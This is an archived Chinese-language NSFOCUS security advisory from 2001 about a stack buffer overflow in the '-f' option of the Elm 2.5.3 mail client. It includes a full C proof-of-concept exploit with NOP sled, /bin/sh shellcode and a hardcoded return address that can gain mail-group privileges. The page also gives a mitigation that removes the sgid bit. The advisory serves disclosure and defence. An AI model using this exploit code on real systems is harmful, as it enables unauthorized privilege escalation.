安全研究

安全漏洞
Elm "-f"参数缓冲区溢出漏洞

发布日期:2001-02-26
更新日期:2001-02-26

受影响系统:

Elm Development Group ELM 2.5.3 (可能包括其他版本)
描述:

BUGTRAQ ID : 2403

在elm 2.5 PL3(可能包括其他版本)中存在一个堆栈溢出。它提供了一个"-f"
选项来指定从指定邮件夹中读入邮件。如果向此选项提供一个超长的字符串,
就可能导致缓冲区溢出,内部堆栈中的数据被覆盖。攻击者可能执行任意代
码。

在某些unix系统中,elm被设置了sgid mail属性,攻击者可能利用此漏洞获
取mail组权限。

<*来源: kiss (nikeboy@retemail.es) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


kiss (nikeboy@retemail.es)提供了如下演示代码:
/***
    -------------
    elm253-exploit.c
    -------------
***/

#include <stdlib.h>

#define NOP 0x90
#define LEN 356
#define OFFSET 0
#define RET 0xbffffa64

unsigned long dame_sp() {
        __asm__("movl %esp,%eax");
}

void main() {

        static char shellcode[]=
/* "\x31\xc0"   */              /* xorl %eax,%eax        */
/* "\x31\xdb"   */              /* xorl %ebx,%ebx        */
/* "\xb0\x17"   */              /* movb $0x17,%al        */
/* "\xcd\x80"   */              /* int $0x80             */
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

        int i=0;
        int cont=0;
        char buffer[LEN+4];
        char kid[6+LEN+4];

        printf("-------------------------------------\n");
        printf("elm buffer overflow exploit by _kiss_\n");
        printf("-------------------------------------\n");

        for (i=0;i<=LEN;i+=4)
                *(long *) &buffer[i] = RET;

        for (i=0;i<LEN-strlen(shellcode)-100;i++)
                buffer[i]=NOP;

        for (i=LEN-strlen(shellcode)-100;i<LEN-100;i++)
                buffer[i]=shellcode[cont++];

        strcpy(kid,"KID=");
        strcat(kid,buffer);
        putenv(kid);
        system("/usr/local/bin/elm -f $KID");
}


建议:

临时解决方法:

NSFOCUS建议您暂时去掉elm的sgid/suid属性

厂商补丁:

暂无


浏览次数:4178
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障